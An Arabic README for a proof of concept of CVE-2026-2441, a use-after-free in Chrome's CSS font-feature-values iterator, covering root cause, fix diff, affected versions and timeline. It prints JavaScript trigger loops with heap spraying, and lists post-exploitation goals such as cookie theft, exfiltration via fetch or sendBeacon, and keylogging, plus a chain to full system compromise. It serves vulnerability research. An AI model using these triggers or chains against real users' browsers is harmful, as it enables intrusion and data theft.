
إثبات المفهوم لـ CVE-2026-2441، وهو استخدام بعد التحرير (use-after-free) في محرك CSS في متصفح Chrome، يوضح تعطل العارض (renderer) وإمكانية تنفيذ تعليمات برمجية داخل بيئة الحماية (sandbox) عبر ملف HTML مُصمم خصيصًا.
CVSS 8.8 (عالية) | استغلال نشط في البرية | تنفيذ كود عن بُعد في Renderer (معزول)
ثغرة use-after-free في محرك CSS الخاص بـ Blink في متصفح Google Chrome تسمح لمهاجم عن بُعد بتنفيذ كود تعسفي داخل صندوق حماية المتصفح عبر صفحة HTML مصممة خصيصًا.
| الحقل | القيمة |
|---|
| CVE | CVE-2026-2441 |
| CVSS | 8.8 (عالية) |
| النوع | Use-After-Free (CWE-416) |
| المكوّن | Blink CSS — CSSFontFeatureValuesMap |
| ملف المصدر | third_party/blink/renderer/core/css/css_font_feature_values_map.cc |
| إصلاح الالتزام | 63f3cb4864c64c677cd60c76c8cb49d37d08319c |
| المُبلّغ | Shaheen Fazim (2026-02-11) |
| تاريخ التصحيح | 2026-02-13 |
| في البرية | نعم — أكدت Google الاستغلال النشط |
| المنصة | المتأثرة | المُصلحة |
|---|---|---|
| Windows / macOS (مستقر) | < 145.0.7632.75 | >= 145.0.7632.75 |
| Linux (مستقر) | < 144.0.7559.75 | >= 144.0.7559.75 |
| Windows / macOS (مستقر ممتد) | < 144.0.7559.177 | >= 144.0.7559.177 |
| المتصفحات المبنية على Chromium (Edge, Brave, Opera, Vivaldi) | راجع إشعار البائع | يختلف |
خزّن FontFeatureValuesMapIterationSource مؤشرًا خامًا (const FontFeatureAliases* aliases_) إلى HashMap الداخلي FontFeatureAliases. عندما يتم تعديل الخريطة أثناء التكرار عبر set() أو delete()، يقوم HashMap بإعادة التجزئة — تخصيص تخزين جديد وتحرير القديم. يصبح المؤشر الخام معلقًا، وتقرأ استدعاء FetchNextItem() التالي من ذاكرة محررة.
CreateIterationSource()
→ FontFeatureValuesMapIterationSource(map, aliases_)
→ aliases_ = مؤشر خام إلى HashMap الداخلي
→ iterator_ = aliases_->begin()
FetchNextItem()
→ يقرأ iterator_->key (عبر aliases_)
إذا تم استدعاء map.set() / map.delete() بين التكرارات:
→ إعادة تجزئة HashMap (تخصيص جديد، تحرير القديم)
→ aliases_ → مؤشر معلق
→ iterator_ → غير صالح
→ FetchNextItem() التالي → USE-AFTER-FREE
- const FontFeatureAliases* aliases_; // مؤشر خام → معلق بعد إعادة التجزئة
+ const FontFeatureAliases aliases_; // نسخة عميقة → محصنة ضد إعادة التجزئة
يستبدل الإصلاح المؤشر الخام بـ نسخة عميقة من HashMap. حتى إذا أعادت الخريطة الأصلية التجزئة، يعمل المكرر على نسخته الخاصة، مما يمنع المؤشر المعلق.
poc.html في إصدار Chrome قابل للاستغلال (< 145.0.7632.75)| إصدار Chrome | السلوك المتوقع |
|---|---|
| < 145.0.7632.75 (غير مُصحح) | انهيار Renderer — STATUS_ACCESS_VIOLATION (Windows) أو SIGSEGV (Linux/macOS). يعرض Chrome خطأ "Can't open this page". |
| >= 145.0.7632.75 (مُصحح) | لا انهيار — يكتمل PoC حتى النهاية، وتُقرأ جميع الإدخالات بشكل طبيعي. |
عند فتحه في إصدار Chrome قابل للاستغلال، تنهار عملية renderer مع STATUS_ACCESS_VIOLATION:
Can't open this page
Error code: STATUS_ACCESS_VIOLATION
هذا يؤكد تشغيل UAF — يصل المؤشر المعلق إلى ذاكرة محررة/غير معيّنة، مما يتسبب في إنهاء عملية renderer.
يشغّل PoC ثغرة UAF عبر ثلاث طرق مستقلة:
entries() + حلقة تعديلconst iterator = map.entries();
while (step < 20) {
iterator.next(); // قراءة عبر المؤشر (المعلق الآن)
map.delete(key); // تشغيل إعادة التجزئة
for (i = 0; i < 512; i++)
map.set("spray_" + i, [i]); // فرض إعادة التخصيص
}
for...of + تعديل متزامنfor (const [k, v] of map) {
map.delete(k);
for (i = 0; i < 512; i++)
map.set("alt_" + i, [i]);
}
requestAnimationFrame + إعادة حساب التخطيطfunction rafTrigger() {
document.body.offsetWidth; // فرض إعادة حساب التخطيط
const result = iterator.next();
map.delete(k);
for (i = 0; i < 512; i++)
map.set("raf_" + i, [i]);
requestAnimationFrame(rafTrigger);
}
تتضمن كل طريقة أيضًا تهيئة الكومة — تخصيص 50 قاعدة @font-feature-values بنفس الحجم لجعل تخطيط الكومة قابلًا للتنبؤ للاستغلال المحتمل.
document.cookie وlocalStorage وsessionStorage وقيم إدخال النماذجfetch() / WebSocket / sendBeacon()addEventListener('keydown')عند دمجه مع ثغرة منفصلة لهروب الصندوق الرملي:
Renderer RCE (CVE-2026-2441)
→ استغلال Mojo IPC → RCE في عملية المتصفح
→ استغلال Kernel → اختراق كامل للنظام
→ تثبيت برمجيات خبيثة / فدية / تجسس
→ الوصول إلى نظام الملفات، حركة جانبية، استمرارية
سلاسل استغلال واقعية تستخدم ثغرات UAF مماثلة في المتصفحات:
هذه الثغرة قابلة للاستغلال عبر التحميل غير المقصود (drive-by download) — لا يتطلب أي تفاعل من المستخدم سوى زيارة صفحة خبيثة:
chrome://flags/#site-isolation-trial-opt-out)| التاريخ | الحدث |
|---|---|
| 2026-02-11 | الإبلاغ عن الثغرة بواسطة Shaheen Fazim |
| 2026-02-13 | أصدرت Google Chrome 145.0.7632.75/76 (Windows/macOS)، 144.0.7559.75 (Linux) |
| 2026-02-13 | اعترفت Google بالاستغلال في البرية |
| 2026-02-16 | أصدرت Vivaldi وOpera إصلاحات |
إذا وجدت هذا البحث مفيدًا، ففكر في شراء قهوة لي:
يُقدَّم إثبات المفهوم هذا لأغراض تعليمية وأبحاث أمنية مصرح بها فقط. استخدام هذا PoC ضد أنظمة دون إذن صريح غير قانوني وغير أخلاقي. المؤلف غير مسؤول عن أي إساءة استخدام.
MIT